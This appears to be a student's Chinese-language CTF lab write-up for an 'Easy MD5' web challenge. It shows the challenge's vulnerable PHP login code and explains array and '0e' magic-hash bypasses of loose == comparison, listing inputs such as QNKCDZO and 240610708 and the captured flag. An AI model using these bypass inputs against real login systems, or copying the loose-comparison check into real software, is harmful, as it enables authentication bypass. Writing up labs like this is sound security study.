

网络安全与对抗 实验第2讲 Easy MD5

首先让我们先看看题目提示，打开即送flag我只能说傻子才信

← 返回

实验第2讲：信息收集与密码爆破-Easy MD5

作业倒计时：402天

1.WEB-Easy MD5

CTF-Web

打开即送flag

场景关闭倒计时：0小时 59分钟 36秒

提示：

采集器启动成功

靶机地址：

d660f90f-fcea-454f-a649-518bb8b75073.gs.thudart.cn

销毁场景

场景刷新

续期

FLAG 必填

FLAG:

提交

接下来进入题目，又是登录系统，这下不得不先登录一下了ψ(┐┆┐)ψ

登录系统

用户名

密码

登录

登录以后直接跳转页面源码了

```

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>登录</title>
</head>
<body>

<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['username']) and isset($_POST['password'])) {
    if ($_POST['username'] == $_POST['password'])
        print '用户名与密码不能相同';
    else if (md5($_POST['username']) == md5($_POST['password']))
        die('Flag: '.$flag);
    else
        print '密码错误';
}
?>
</body>
</html> 密码错误

```

看到这个两个等于号，再结合题目名字md5马上想到md5弱绕过漏洞

```
if ($_POST['username'] == $_POST['password'])
```

下面给出两个绕过方法

1>数组绕过

md5不能加密数组，会返回null

例如

```

1 | $a=$_GET['a'];
2 |
3 | $b=$_GET['b'];
4 |
5 | md5($a)==md5($b)

```

2> 科学计数法 (0E) 绕过

在php中，0e开头的数字会当作科学计数法解析

```
QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

s214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020
```

例如

```
1 $a=$_GET['a'];
2
3 $b=$_GET['b'];
4
5 md5($a)==md5($b)
```

例如

```
1 $a=$_GET['a'];
2
3 $b=$_GET['b'];
4
5 md5($a)==md5($b)
```

?a=QNKCDZO&b=240610708

```
1 $a=$_GET['a'];
2
3 $a==md5($a);
```

这里我使用数组绕过老是报错不知道为什么，如果有大佬搞出来了辛苦补充一下。

我使用科学技术法来解决这个题目，PHP在处理哈希字符串时，会利用“!=”或“==”来对哈希值进行比较，它把每一个以“0E”开头的哈希值都解释为0（**当成科学计数法进行处理，E是指数，0的任何次方都是0**），所以如果两个不同的密码经过哈希以后，其哈希值都是以“0E”开头的，那么PHP将会认为他们相同，都是0。

PHP在攻击者可以利用这一漏洞，通过输入一个经过哈希后以“0E”开头的字符串，即会被PHP解释为0，如果数据库中还存在这种哈希值以“0E”开头的密码的话，他就可以以这个用户的身份登录进去，尽管并没有真正的密码。

随意在网上通过工具生成一个md5碰撞对，这里我直接给出两个数字md5加密后是0e开头字符串的例子

a=QNKCDZO&b=240610708

将其作为username和密码输入后即可得到flag

```
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>登录</title>
</head>
<body>

<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['username']) and isset($_POST['password'])) {
    if ($_POST['username'] == $_POST['password'])
        print '用户名与密码不能相同';
    else if (md5($_POST['username']) == md5($_POST['password']))
        die('Flag: '.$flag);
    else
        print '密码错误';
}
?>
</body>
</html> Flag: b960ae67-6b6c-4205-8d39-3c0a9454d838
```